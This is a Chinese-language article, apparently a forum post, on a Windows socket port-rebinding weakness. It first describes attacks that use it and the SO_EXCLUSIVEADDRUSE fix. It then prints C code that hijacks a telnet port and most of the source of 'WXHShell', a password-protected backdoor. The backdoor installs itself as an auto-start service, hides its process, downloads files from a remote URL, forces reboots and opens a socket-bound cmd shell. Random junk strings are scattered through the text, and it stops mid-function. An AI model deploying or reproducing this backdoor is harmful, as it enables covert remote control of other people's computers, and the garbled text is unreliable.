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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: K
|*5Kwi s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); mR+Jws' *1A&'T2 saddr.sin_family = AF_INET; a#0;==# rzeLx Wt saddr.sin_addr.s_addr = htonl(INADDR_ANY); OgCy4_a[f wLJ]&puwm bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); p&N#_dmlH oyx^a9 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 E m{aM WE6\dhJ< 这意味着什么?意味着可以进行如下的攻击: }Ln@R~[ ~/-eyxLTm 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 3[IJhR[ #0"~G][# 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) +(?>-3_z UBZ9A 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 >#(n"RCHf !HK^AwNY 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 C#Bz>2;# p_2pU)% 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 nFM@@oA
2oVV'9;B 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 DN8}glVxV ~i0R^qfr 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 / T
c= #VGjCEeU #include b]Z@^<_E #include aFj.i8+ #include @;Opx." #include ?jO 5 9n DWORD WINAPI ClientThread(LPVOID lpParam); e8P-k3a"5: int main() .Zmp , { \7v)iG|#G& WORD wVersionRequested; QM<y`cZ8 DWORD ret; .Y*f2A.v WSADATA wsaData; aP-<4uGx BOOL val; S*
R,FKg SOCKADDR_IN saddr; 7 sFz?`- SOCKADDR_IN scaddr; 9X}I> int err; G"dS+,Q SOCKET s; OJO!FH) SOCKET sc; SOf{Hx0C6 int caddsize; GK*v{` HANDLE mt; y9l*m~ DWORD tid; O4iC]5@ wVersionRequested = MAKEWORD( 2, 2 ); sLL7]m} err = WSAStartup( wVersionRequested, &wsaData ); /JJw 6[N if ( err != 0 ) { T7*wS#z)h printf("error!WSAStartup failed!\n"); !#yq@2QX return -1; ~I=Y{iM } O(Jj|Z saddr.sin_family = AF_INET; !Ng=Yk>3 ~P*4V]L^ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 PWr(*ZP>hI =8{WZCW5 saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); wBSQ:f]g saddr.sin_port = htons(23); [bz T&o if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3_$w|ET { jXg printf("error!socket failed!\n"); An`3Ex[
return -1; IE2"rQ T } Orn0Zpp<z val = TRUE; ]T:;Vo
//SO_REUSEADDR选项就是可以实现端口重绑定的 f9u^ R=Ff[ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) hT g<* { ]< l6s printf("error!setsockopt failed!\n"); Me5{_n return -1; :[l\@>H1tX } z+{,WHjo //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; b7`D|7D //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 d3Mva,bw< //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 G3i !PwW LNYKm~cN if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) =='Td[ { r,1e 'd: ret=GetLastError(); \nNXxTxX! printf("error!bind failed!\n"); dihjpI_ return -1; kRJ4-n^@>< } g=L]S-e listen(s,2); 56lCwXCgA while(1) DOS0;^f { 0|4%4Mt caddsize = sizeof(scaddr); ||7x;2e //接受连接请求 LW6ZAETyL sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); VosZJv= if(sc!=INVALID_SOCKET) f|7\DeY9U { #N(= 3Cj mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 4*n#yVb/ if(mt==NULL) +n0r0:z0 { c_grPk2O4 printf("Thread Creat Failed!\n"); 796\jf$ break; %]gTm7
=t } 0oZsb\ } g#]" hn CloseHandle(mt); Jzji&A~ } f"[J"j8 closesocket(s); c,MOv7{x_ WSACleanup(); 7cP@jj return 0; Qd _6)M- } Kb#4ILA DWORD WINAPI ClientThread(LPVOID lpParam) S^@S%Eg { :$;Fhf<5 SOCKET ss = (SOCKET)lpParam; a]17qMl SOCKET sc; q%n6K unsigned char buf[4096]; gN8hJG'0 SOCKADDR_IN saddr; $,=6[T!z+e long num; AN:sQX` DWORD val; !%+2Yifna DWORD ret; !)"%),>}o //如果是隐藏端口应用的话,可以在此处加一些判断 M-L2w" //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 E907fX[R~ saddr.sin_family = AF_INET; Ix@&$!'k saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); e1(Q(3 saddr.sin_port = htons(23);
/-_=nf}w if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) x5`br.b { H`bSYjgM! printf("error!socket failed!\n"); K%<j=c return -1; g6@Fp7T } xJ^>pg8 val = 100; G@FI0\t if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [v7^i_d { $E<Esf$ ret = GetLastError(); _R'Fco return -1; ZRxZume<f
} Q)m4_+,d if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?&G`{Ey {
Amr[wx ret = GetLastError(); T{wpJ"F5<] return -1; n~"$^Vr } q5h*`7f if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) `g8E1-]l { Q$& sTM printf("error!socket connect failed!\n"); fH`P[^N closesocket(sc); fx=Awba closesocket(ss); ,g-EW
jN return -1; S=R7`a<.5 } +;$oJJ while(1) O ,rwP { +a&p$\ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ;k"Bse!/ //如果是嗅探内容的话,可以再此处进行内容分析和记录 iLP7!j //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 9CA^B2u num = recv(ss,buf,4096,0); f.aSKQD if(num>0) =9oPowq send(sc,buf,num,0); I}e3zf> else if(num==0) p.ANVA@: break; !CXt*/~ num = recv(sc,buf,4096,0); 9TF f8'?d if(num>0) GRb*EeT send(ss,buf,num,0); T2}FYVj?!g else if(num==0) q)H1pwxD break; u p.Q>28r } .)}@J5P) closesocket(ss); /V3=KY`_J closesocket(sc); Q9I
j\HbA" return 0 ; WLF0US' } }kw/W#)J QM3,'?ekRH f|^dD` ========================================================== 5MFxo63 mRB 下边附上一个代码,,WXhSHELL xe7O/',pa= o7mZzzP ========================================================== X;<BzA!H k(zsm"<q #include "stdafx.h" ?9l [y $0bjKy #include <stdio.h> 6KD `oUx #include <string.h> -':Y\:W #include <windows.h> Hzrtlet #include <winsock2.h> [:xiZ #include <winsvc.h> +/#Ei'do #include <urlmon.h> >=]'hyn]] C6O8RHg #pragma comment (lib, "Ws2_32.lib") ??n*2s@t #pragma comment (lib, "urlmon.lib") /Q,{?';~ W@yJAQ #define MAX_USER 100 // 最大客户端连接数 c/B'jPt #define BUF_SOCK 200 // sock buffer 66^ycZCH #define KEY_BUFF 255 // 输入 buffer b-3*Nl _% TKk-;Y=N #define REBOOT 0 // 重启 zBO(`=| #define SHUTDOWN 1 // 关机 [((;+B wApMzZ(X2y #define DEF_PORT 5000 // 监听端口 i)#s.6.D> LL|7rS|o #define REG_LEN 16 // 注册表键长度 ; 7N
Z<k #define SVC_LEN 80 // NT服务名长度 AuR$g7z d
Le-nF // 从dll定义API {R/C0-Q^^ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ix#epuN typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); kdb(I@6 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); F4<O2!V typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?<G]&EK~~] V5p=
mmnA, // wxhshell配置信息 h" H2z1$ struct WSCFG { 5 H#W[^s" int ws_port; // 监听端口 hJzxbr
< char ws_passstr[REG_LEN]; // 口令 <hwy*uBrD int ws_autoins; // 安装标记, 1=yes 0=no AfG/JWSo} char ws_regname[REG_LEN]; // 注册表键名 F:6SPY
y char ws_svcname[REG_LEN]; // 服务名 =]-j;#'& char ws_svcdisp[SVC_LEN]; // 服务显示名 6a;v&5 char ws_svcdesc[SVC_LEN]; // 服务描述信息 nFe%vu8a char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %,hV[[ @. int ws_downexe; // 下载执行标记, 1=yes 0=no ^
wY[3"{ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" <>m }}^ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 v)2M1 K}=|.sE9 }; PMfkA!.Y W>q HFoKa // default Wxhshell configuration ~+Z{Q25R struct WSCFG wscfg={DEF_PORT, 1heS*Fwn' "xuhuanlingzhe", lg047K 1, lV.F,3 "Wxhshell", jE#O>3+. "Wxhshell", H3Se={5h\A "WxhShell Service", ,;M4jc{ "Wrsky Windows CmdShell Service", !"+'A)Nve "Please Input Your Password: ", iS5W>1] 1, O5H9Y}i] " http://www.wrsky.com/wxhshell.exe", hDV20&hq "Wxhshell.exe" F @Te@n }; Q[+ac*F=Y 31EyDU,W // 消息定义模块 RZ1
/#; char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; y>*xVK{D char *msg_ws_prompt="\n\r? for help\n\r#>"; S$2b>#@UJ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; I|# 5NE6 char *msg_ws_ext="\n\rExit."; W+*5"h char *msg_ws_end="\n\rQuit."; *m2=/Sh char *msg_ws_boot="\n\rReboot..."; gIA@l`" char *msg_ws_poff="\n\rShutdown..."; sBV4)xM char *msg_ws_down="\n\rSave to "; 1Z{ZV.! O$IjNx char *msg_ws_err="\n\rErr!"; m^x6>9, char *msg_ws_ok="\n\rOK!"; au,t%8AC ^<X@s1^# char ExeFile[MAX_PATH]; t<n"-Tqu int nUser = 0; .(Qx{r$ HANDLE handles[MAX_USER]; ,RN:^5 p int OsIsNt; "QvmqI> w1UA?+43 SERVICE_STATUS serviceStatus; >AJSqgHQ, SERVICE_STATUS_HANDLE hServiceStatusHandle; S~]mWxgZ WW~+?g5 // 函数声明 G|\^{5 int Install(void); =V"(AuCVE int Uninstall(void); t'm;:J1 int DownloadFile(char *sURL, SOCKET wsh); Gn;@{x6 int Boot(int flag); &CwFdx:Ff void HideProc(void); r=c<--_@ int GetOsVer(void); N25V] int Wxhshell(SOCKET wsl); Qv-@Zt!8 void TalkWithClient(void *cs); 97)/"i e int CmdShell(SOCKET sock); m[k_>e\u int StartFromService(void); 85;b9k&\M int StartWxhshell(LPSTR lpCmdLine); GJqE!I,. *6(kbe s VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); TNJG#8 n%Y VOID WINAPI NTServiceHandler( DWORD fdwControl ); MQKfJru7 .5!t:FPOv // 数据结构和表定义 gl).cIp w SERVICE_TABLE_ENTRY DispatchTable[] = <w\:<5e ' { "[:iXRu {wscfg.ws_svcname, NTServiceMain}, k<+0o)) {NULL, NULL} S.!UPkW H }; :$+-3_oLMQ @|'5n // 自我安装 wW>)(&!F int Install(void) w\}?( uO { ^*\XgX char svExeFile[MAX_PATH]; a6kV!,.U HKEY key; <'G~8tA%v strcpy(svExeFile,ExeFile); Xv@SxS-5l L4L2O7 // 如果是win9x系统,修改注册表设为自启动 ){r2T1+-% if(!OsIsNt) { qF iLh9=D if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \
u_ui RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z#F.xVg' RegCloseKey(key); DS|KkTy3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S>.F_Jl RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fg#x7v4O RegCloseKey(key); ly WwGR return 0; ~zHg[X*
} upvS|KUil } -R>}u'EG> } X\}Y else { Bvt@X ;60.l! // 如果是NT以上系统,安装为系统服务 R/`q/0T. SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }KhjlPhx if (schSCManager!=0) -uh(?])H { OIl#DV. SC_HANDLE schService = CreateService ;+1RUv ( XhsTT2B schSCManager, t*@z8<H wscfg.ws_svcname, KgN)JD> wscfg.ws_svcdisp, ps$7bN C SERVICE_ALL_ACCESS, LK"
bC SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , fIGFHZy, SERVICE_AUTO_START, e|4&b@ SERVICE_ERROR_NORMAL, *._|- L svExeFile, Dup;e&9g NULL, .d/:30Y NULL, 4d:{HLX, NULL, s_.]4bl.8 NULL, a?YCn! NULL V<HU6w ); |y20Hi': if (schService!=0) m5G \}8| { 2&Nb CloseServiceHandle(schService); $BmmNn# CloseServiceHandle(schSCManager); -*2Mf Mh strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &_5tqh strcat(svExeFile,wscfg.ws_svcname); c#N<"cy> if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _lW+>xQ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [7m1Q< RegCloseKey(key); ny-7P;->8 return 0; I]!^;)) } d2s OYCKe } E2L(wt}^ CloseServiceHandle(schSCManager); q2:K4 } Q
!qrNa6 } B^D(5 ^KB~*'DN~s return 1; P6,7]6bp } j]0^y}5f+s HyiFy7j // 自我卸载 .}')f;jH5< int Uninstall(void) !se0F.K { W0jZOP5_.$ HKEY key; 7kKy\W L}#0I+Ml7 if(!OsIsNt) { )rLMIk if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u9=SpgB# RegDeleteValue(key,wscfg.ws_regname); f`>/
H!<2 RegCloseKey(key); "!K'A7.^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |+ge8uu?C RegDeleteValue(key,wscfg.ws_regname); 9x+<Ik RegCloseKey(key); qC!&x,}3 return 0;
x{}z ;yG } $>U#
W: } 9dh>l!2 } (J"T]-[ else { I|$
RJkD }B7K@Wu# SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |_u8mV if (schSCManager!=0) \8OO)98' { -)!>M>=s SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Ch
)dLPz@ if (schService!=0) pS 4&w8s { +MK6zf if(DeleteService(schService)!=0) { c^8o~K>w84 CloseServiceHandle(schService); +*oS((0s CloseServiceHandle(schSCManager); d+iR/Ssc return 0; /9yaW7w } S'~o,`xy CloseServiceHandle(schService); <*H^(0 } uR6w|e` CloseServiceHandle(schSCManager); Wl^R8w#Z$ } m"c :"I6 } TaJB4zB 4(?G6y) return 1; 1G~S|,8p } ,~zj=F b=a!j=-D // 从指定url下载文件 ea=83 Zj int DownloadFile(char *sURL, SOCKET wsh) Wi n8LOC { 0%s|Zbo!> HRESULT hr; nRhrWS char seps[]= "/"; q^rl) char *token; k&hc m char *file; 2Ha5yaTL char myURL[MAX_PATH]; 1gO2C$ char myFILE[MAX_PATH]; ngulc v "%8A:^1 strcpy(myURL,sURL); A{o 'z_zC token=strtok(myURL,seps); uQLlA&I" while(token!=NULL) Y^"4?96 { m8+(%>+7 file=token; XC15 K@K token=strtok(NULL,seps); FDFH,J`_ } RaSz>-3d e2$]g> GetCurrentDirectory(MAX_PATH,myFILE); .V6-(d strcat(myFILE, "\\"); E&
36H strcat(myFILE, file); A CNfS9M_w send(wsh,myFILE,strlen(myFILE),0); 2=PBxDs; send(wsh,"...",3,0); ghk5rl$ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); e`{0d{Nd if(hr==S_OK) O}Ui`eWU return 0; [_y@M
] else _baYn`tFw- return 1; tqOi
x/ Ccfwax+ } ~!%0Z9>ap iZ[tHw|| // 系统电源模块 Q"a2.9Eo int Boot(int flag) |c-LSs'\ { Oi:JiD= HANDLE hToken; cTZ)"^z! TOKEN_PRIVILEGES tkp; Kn+=lCk b`cYpcs if(OsIsNt) { |pZo2F!. OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); gvli %9n LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); d&:H&o)T! tkp.PrivilegeCount = 1; >Pe:I tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; P#GD?FUc AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); AZFWuPJo if(flag==REBOOT) { |U[y_Y\a if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) U2*6}c< return 0; `0BdMKjA } a
ib}`l else { ^[h2% c$ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) OsW"CF2 return 0; TW`mxj_J2 } g jG2 } mp`PE= else { O{KB0"s>i if(flag==REBOOT) { D#sf i,O if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ].DY" return 0; '\p;y7N } SqB/4P else { m>Ux`Gp+ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) UFZ"C, return 0; ?)A2Kw>2 } `]2@_wa } _^uc 0= l^ 4OC return 1; &R]pw`mTH } f[/.I,9U^ >M^&F6 // win9x进程隐藏模块 vrcE]5(:s void HideProc(void) fDuwgY0 { q
G;-o)h \v`#|lT$ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^/KfH&E if ( hKernel != NULL )
';l fS { |n P_<9[ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ./maY1>T ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9EgP9up{6! FreeLibrary(hKernel); {Qtq7q. } :k!j"@r i^%-aBZ return; < tQc_ } l=Wd,$\ \ZnN D1A // 获取操作系统版本 nlfPg-78B+ int GetOsVer(void) 4UCwT1 { nTZ> |R) OSVERSIONINFO winfo; S!j^|! winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); wkT;a&_ GetVersionEx(&winfo); J9@}DB if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5gNLO\ return 1; `mErF%b else 1k>naf~O return 0; gg8c7d:Q } GJak.,0t .)ST[G]WK // 客户端句柄模块 O<`R~ int Wxhshell(SOCKET wsl) &telCg: { _om[VKJd SOCKET wsh; w??c1) struct sockaddr_in client; nUqy1( DWORD myID; k/#M<z #\b ;2> while(nUser<MAX_USER) agY5Dg7 { Kfjryo9 int nSize=sizeof(client); ="lI i$>O wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8IWwjyRr if(wsh==INVALID_SOCKET) return 1; *CUdGI& vvh.@f handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); IIP.yyh> if(handles[nUser]==0) 2Guvze_bU closesocket(wsh); <|JU(B else A70(W{6a9@ nUser++; _<u;4RO(s } >-<F) WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Yq0# #__ 4g!7
4a return 0; F!R2_89iy } " dT>KQ !Zj#.6c9 // 关闭 socket 5DSuUEvWcL void CloseIt(SOCKET wsh) 0#=W#Jl> { %^')G+>i closesocket(wsh); 8*)4"rS nUser--; Doj(.wm~ ExitThread(0); :)LC gIQo } 66dTs,C ;Id"n7W // 客户端请求句柄 I7b i@t void TalkWithClient(void *cs) 7sguGwg) _ { N(7u],(Om 8bbVbP SOCKET wsh=(SOCKET)cs; `$Kes;[X char pwd[SVC_LEN]; _FFv#R*4 char cmd[KEY_BUFF]; -$ali[ char chr[1]; ! OfO:L7- int i,j; paYz[Xq ^?sSx!:bZ while (nUser < MAX_USER) { V g6S/- !=knppY if(wscfg.ws_passstr) { @SQceQfB if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R_9 o!sTZ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =SL^>HS.fo //ZeroMemory(pwd,KEY_BUFF); &[)D]UL i=0; 9F)W19i. while(i<SVC_LEN) { h/9Sg*k zi_[V@Es/ // 设置超时 Cn/q= fd_set FdRead; 7yUvL8p- struct timeval TimeOut; xZg7Jg FD_ZERO(&FdRead); "MTq{f2? FD_SET(wsh,&FdRead); C,3T!\ TimeOut.tv_sec=8; [$oM TimeOut.tv_usec=0; (ic@3:xR int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); EGEMZCdk2 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `=v@i9cTZ DZ%8 |PmB if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5IO3 % p? pwd =chr[0]; mVHFT~x7} if(chr[0]==0xd || chr[0]==0xa) { }Oh5Nm) pwd=0; I2W{tl break; :^.u-bHI } b8e*Pv/ i++; N&,"kRFFo } 5Ny0b|+p (Y>U6 // 如果是非法用户,关闭 socket ) _#T c if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); cY^Y!., } %WmZ ]@M "|\94 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3} l; send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z(r"JNO@ ]svw
CPu C while(1) { )Jmw|B 8vu2k> ZeroMemory(cmd,KEY_BUFF); vo.EM1x hOV_Oqe4? // 自动支持客户端 telnet标准 1k`|[l^
j=0; <%(f9j while(j<KEY_BUFF) { 7%X+O8 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fA;x{0CAMX cmd[j]=chr[0]; m9uUDq#GJ if(chr[0]==0xa || chr[0]==0xd) { tPA"lBS ! cmd[j]=0; KM E XT$p break; gMCy$+? } a3*.,%d j++; _5Bu [I } <)"iL4 kDI J511AoQ{R // 下载文件 A03I-^0g+
if(strstr(cmd,"http://")) { PaA6Z": send(wsh,msg_ws_down,strlen(msg_ws_down),0); qP@L(_=g if(DownloadFile(cmd,wsh)) <'VA=orD send(wsh,msg_ws_err,strlen(msg_ws_err),0); /^NJ)9IB else x={kjym L send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
hgNY[, } ;A`IYRzt else { A<]&JbIt ,Z >JvTnH switch(cmd[0]) { OrzM
hQaf r';Hxa ' // 帮助 I<IC-k"Y case '?': { McO@p=M send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9j9YQ2 break; O#A8t<f|M } 0,+EV, // 安装 rE9Ta8j6 case 'i': { .Ydr[ if(Install()) @<0h"i
x send(wsh,msg_ws_err,strlen(msg_ws_err),0); e?|d9;BO else ~>lOl/n 5 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nqBG]y aI break; :LU"5g } !>?4[|?n< // 卸载 JvT%R`i case 'r': { N;e}dwh& if(Uninstall()) /vMQF+ send(wsh,msg_ws_err,strlen(msg_ws_err),0); eUi> Mp else PV5-^Y"v send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &IIJKn|_ break; D:+)uX}MOf } S5zpUF= // 显示 wxhshell 所在路径 CD*f4I#d case 'p': { tj`tLYOZ@- char svExeFile[MAX_PATH]; ]:[)KZ~ strcpy(svExeFile,"\n\r"); ))8Emk^Q{ strcat(svExeFile,ExeFile); vQ?MM&6 send(wsh,svExeFile,strlen(svExeFile),0); mrw]yu;2<n break; 3Pw%[q=g } 9;}L{yve // 重启 "TEBByO' case 'b': { W9:fKP send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $K5ni {M; if(Boot(REBOOT)) 7[(Lrx.pM send(wsh,msg_ws_err,strlen(msg_ws_err),0); * [iity else { `two|gX0K closesocket(wsh); IptB.bYc ExitThread(0); ^\xCqVk_R }
FF5tPHB break; 6:e}v'q{ } z_5rAlnwT. // 关机 WV5r$ case 'd': { |_xZ/DT send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]b5%?^Z# if(Boot(SHUTDOWN)) m~A[V,os send(wsh,msg_ws_err,strlen(msg_ws_err),0); EOMuqP) else { O7Y
P_<,# closesocket(wsh); PT
0Qzg ExitThread(0); F5:2TEA } T)$6H}[c break; Z1XUYe62 } [,.[gWA // 获取shell }[XB]Xf case 's': { 5P5A,K CmdShell(wsh); PEOM1oY)w closesocket(wsh); (**-"o]HH ExitThread(0); ::^qy^n break; <DA{\'jJ } w!=_ // 退出 [u!p- case 'x': { 0R2S@4%Y send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); bn^mL~ CloseIt(wsh); 9b"}CEw break; 60Xl. } [qO5~E`; // 离开 2ID*U d* case 'q': { y@2vY[)3s send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^+.+IcH closesocket(wsh); C}M0XW WSACleanup(); hlSB7D"d exit(1); (r#5O9|S break; llTQ\7zP } /6i Tq^.% } Mm:a+T } 2 op.PS{_t // 提示信息 'PmHBQvt& if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i{1)=_$Vt` } 8.q13t!D } n',9#I(!L jWO&SW so return; )D6'k{6 M } : pE-{3I +Tgy,oD0 // shell模块句柄 F1{?]>G int CmdShell(SOCKET sock) H`+]dXLB { r-1yJ STARTUPINFO si; B^_$
hJncc ZeroMemory(&si,sizeof(si)); )eTnR:= si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; nsr
_\F\ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @4W\RwD PROCESS_INFORMATION ProcessInfo; di)noQXkB- char cmdline[]="cmd"; L:k@BCQM CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); EDPI*@> return 0; x0AqhT5} } O|^6UH 4X(1 // 自身启动模式 >h/)r6 int StartFromService(void) _^ CQ*+F { z$8e6* typedef struct ZPxOds1m { 1A)wbH) DWORD ExitStatus; 3Aqe;Wf9%+ DWORD PebBaseAddress; >ji}j~cH DWORD AffinityMask; 6bA~mC^& DWORD BasePriority; $z`cMQ r ULONG UniqueProcessId; eJVOVPg<, ULONG InheritedFromUniqueProcessId; Z7KB?1{G } PROCESS_BASIC_INFORMATION; b& _i/n( ~PH1|h6 PROCNTQSIP NtQueryInformationProcess; E:dT_x<Y 7Dx .; static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |RvpEy76 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $fj"* 8+g|>{Vov HANDLE hProcess; };VGH/}&s PROCESS_BASIC_INFORMATION pbi; ')yF0 tswG"1R HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >m;|I/2@ if(NULL == hInst ) return 0; JUaKj@a| r,Y/4(.c7U g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +^]PBMM1w g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 